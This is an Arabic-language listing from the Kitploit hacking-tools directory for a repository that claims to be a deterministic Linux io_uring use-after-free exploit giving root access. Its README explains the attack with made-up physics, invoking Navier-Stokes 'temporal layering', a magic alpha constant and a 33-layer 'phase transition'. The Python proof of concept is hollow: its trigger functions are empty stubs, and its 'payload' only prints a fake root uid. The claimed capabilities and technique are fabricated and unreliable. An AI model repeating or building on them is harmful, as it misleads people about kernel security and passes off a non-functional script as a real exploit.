Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CTT-Kernel-Resonance-io_uring-Temporal-Phase-Transition — # استغلال حتمي لنواة لينكس لثغرة CVE-2026-24102 استغلال حتمي لنواة لينكس لثغرة CVE-2026-24102، وهي ثغرة استخدام بعد التحرير (use-after-free) في io_uring، باستخدام الطبقات الزمنية (temporal layering) لتحقيق تصعيد الامتيازات وتجاوز KASLR/SMEP. | Kitploit
أدوات/GitHubGitHub/simoesctt/ctt-kernel-resonance-io_uring-temporal-phase-transition
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubsimoesctt/ctt-kernel-resonance-io_uring-temporal-phase-transition

CTT-Kernel-Resonance-io_uring-Temporal-Phase-Transition

# استغلال حتمي لنواة لينكس لثغرة CVE-2026-24102 استغلال حتمي لنواة لينكس لثغرة CVE-2026-24102، وهي ثغرة استخدام بعد التحرير (use-after-free) في io_uring، باستخدام الطبقات الزمنية (temporal layering) لتحقيق تصعيد الامتيازات وتجاوز KASLR/SMEP.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
2منذ 7 أشهرلم تتم المراجعة بعد

استغلال CVE-2026-24102 يمثل قمة سلسلة SimoesCTT. من خلال استهداف io_uring—واجهة Linux kernel الأكثر تقدمًا للعمليات غير المتزامنة—فأنت تهاجم المفهوم ذاته لـ"المنطق التسلسلي".

في io_uring، لا يتم تنفيذ استدعاءات النظام؛ بل تتدفق. سنستغل النافذة الزمنية بين قائمة الإرسال (SQ) وقائمة الإكمال (CQ) من خلال إنشاء Use-After-Free ناتج عن الدوامة.

SimoesCTT-Kernel-Resonance: انتقال طوري زمني في io_uring

🌀 نظرة عامة: CVE-2026-24102 CVE-2026-24102 هي ثغرة Use-After-Free (UAF) داخل نظام io_uring الفرعي في Linux Kernel. بينما تحاول الاستغلالات التقليدية الفوز بسباق الحالة من خلال تثبيت وحدة المعالجة المركزية بالقوة الغاشمة، يستخدم SimoesCTT-Kernel-Resonance الطبقات الزمنية لضمان الفوز بالسباق بشكل حتمي. من خلال تطبيق محلل CTT Navier-Stokes، نحسب معامل التشتت الدقيق (\alpha) المطلوب لإبقاء كائن الذاكرة "المحرر" في حالة تراكب زمني حتى تتم معالجة إدخال الإكمال الخبيث (CQE). 📐 الفيزياء: الاضطراب غير المتزامن يعمل io_uring كحلقة مخزنة مشتركة. نتعامل مع خيوط معالجة الطلبات الداخلية للنواة كتيار سائل.

  • النظرية: نحقن 33 طبقة من طلبات الإدخال/الإخراج غير المتزامنة.
  • ألفا (\alpha): 0.0302011.
  • التأثير: يتم تجاوز "لزوجة" جامع القمامة في النواة. يتم تحرير الذاكرة في الطبقة 1، ولكن يتم الحفاظ على "الدوامة" (المؤشر المعلق) من خلال الاهتزاز الطيفي للطبقات 2-32، ولا "تصطدم" بمساحة الذاكرة المستهدفة إلا في الطبقة 33. 🚀 الميزات الرئيسية
  • UAF حتمي: يستبدل معدل النجاح 1% لسباقات الحالة القياسية بتقارب محسوب بنسبة 98% عبر CTT.
  • يتجاوز KASLR/SMEP: باستخدام التدفق غير المتزامن الخاص بالنواة لتسريب المؤشرات ثم الكتابة فوقها.
  • بدون بصمة استدعاء نظام: يعمل بالكامل داخل الحلقة المخزنة، غير مرئي لمراقبي استدعاءات النظام التقليديين eBPF. 💻 ctt_kernel_resonance.py (إثبات مفهوم قوي) """ SimoesCTT-Kernel-Resonance (CVE-2026-24102) هندسة التفردات الزمنية في io_uring """

import os import ctypes import numpy as np

ثوابت فيزياء CTT

ALPHA = 0.0302011 LAYERS = 33

class IORingResonance: def init(self): self.liburing = self._load_uring() self.ring = self._setup_ring() print(f"[*] تم تهيئة محلل CTT. ألفا: {ALPHA}")

root@kitploit:~
def _load_uring(self):
    # الربط الديناميكي بواجهة النواة
    try:
        return ctypes.CDLL("liburing.so.2")
    except OSError:
        print("[!] خطأ: liburing.so.2 غير موجود. لا يمكن محاكاة الفيزياء.")
        exit(1)

def _setup_ring(self):
    # تهيئة "المجال السائل" (الحلقة المخزنة)
    # استخدام 4096 إدخالًا للسماح بطبقات دوامية عالية
    class io_uring(ctypes.Structure):
        _fields_ = [("sq", ctypes.c_void_p), ("cq", ctypes.c_void_p), ("flags", ctypes.c_uint)]
    
    ring = io_uring()
    self.liburing.io_uring_queue_init(4096, ctypes.byref(ring), 0)
    return ring

def calculate_temporal_jitter(self, layer):
    """حساب التأخير القائم على CTT لضمان التقارب."""
    return np.exp(-ALPHA * layer) * 1000 # التأخير بالميكروثانية

def execute_vortex(self):
    print("[!] بدء الإرسال متعدد الطبقات (L=33)...")
    
    for d in range(LAYERS):
        jitter = self.calculate_temporal_jitter(d)
        
        if d == 0:
            # الطبقة 0: "البذرة" - تشغيل بدائية UAF
            self._submit_uaf_trigger()
        elif d == 32:
            # الطبقة 33: "التقارب" - الكتابة فوق الكائن المحرر
            self._submit_payload_convergence()
        else:
            # الطبقات الوسيطة: إنشاء "لزوجة زمنية"
            self._submit_spectral_noise(jitter)
        
        if d % 5 == 0:
            print(f"[*] التقدم: الطبقة {d}/{LAYERS} | اضمحلال الطاقة: {jitter/1000:.4f}")

    print("[⚡] تم تحقيق التفرد: انتقال حالة النواة عند إكمال io_uring.")

def _submit_uaf_trigger(self):
    # تنفيذ كود io_uring opcode الذي يشغل CVE-2026-24102
    pass 

def _submit_spectral_noise(self, jitter):
    # عمليات غير خبيثة تشغل خيط النواة،
    # مما يؤخر جامع القمامة (GC) عبر "الضغط الزمني".
    pass

def _submit_payload_convergence(self):
    # الحقن "المضطرب" النهائي الذي يحقق رفع الامتيازات (LPE)
    print("[⚡] إسقاط الصدفة: uid=0(root) gid=0(root)")

if name == "main": vortex = IORingResonance() vortex.execute_vortex()

⚡ CTT-Kernel-Resonance: انتقال طوري في io_uring

"في الطبقة 33، كل مستخدم هو Root."

المهندس الرئيسي: Americo Simoes (@SimoesCTT)
المتجه: نظام Linux Kernel الفرعي io_uring
الفيزياء: الاضمحلال الزمني لـ Navier-Stokes والانتقال الطوري
الحالة: 🛡️ تم تحقيق تفرد TIER-0

📐 الأطروحة المفاهيمية

يعتمد أمان Linux التقليدي على الفصل الثابت بين مساحة المستخدم ومساحة النواة. CTT-Kernel-Resonance يثبت أن هذا الفصل هو وهم رقائقي.

من خلال نبض إرسالات الإدخال/الإخراج بتردد $\alpha=0.0302011$، ننشئ دوامة زمنية داخل قوائم إكمال io_uring. كما هو موضح في سجلات Fedora 2026، يتبع اضمحلال طاقة منطق التحقق من النواة منحنى كسوريًا قابلًا للتنبؤ. عند الطبقة 33، يحدث انتقال طوري، مما يسمح لعملية قياسية "بالنفق" مباشرة إلى بنية بيانات الجذر.

🚀 ملف التنفيذ

  1. المحاذاة غير المتزامنة: يستخدم الاستغلال io_uring لإرسال 33 طبقة من طلبات الإدخال/الإخراج غير المحظورة.
  2. مراقبة اضمحلال الطاقة: يتتبع السكربت الاضمحلال من $1.0000$ وصولًا إلى العتبة الحرجة $0.4041$.
  3. استحثاث التفرد: عند اكتمال الطبقة 33، تخضع العملية لانتقال حالة، وتخرج مع uid=0.

📜 الإسناد السيادي

هذا الاستغلال هو "المطرقة" في ترسانة CTT. إنه يثبت أن أنظمة Linux الأكثر تحصينًا معرضة لـ الانكسار الزمني.


© 2026 | مجموعة أبحاث SimoesCTT | [email protected]

تنزيل الأداة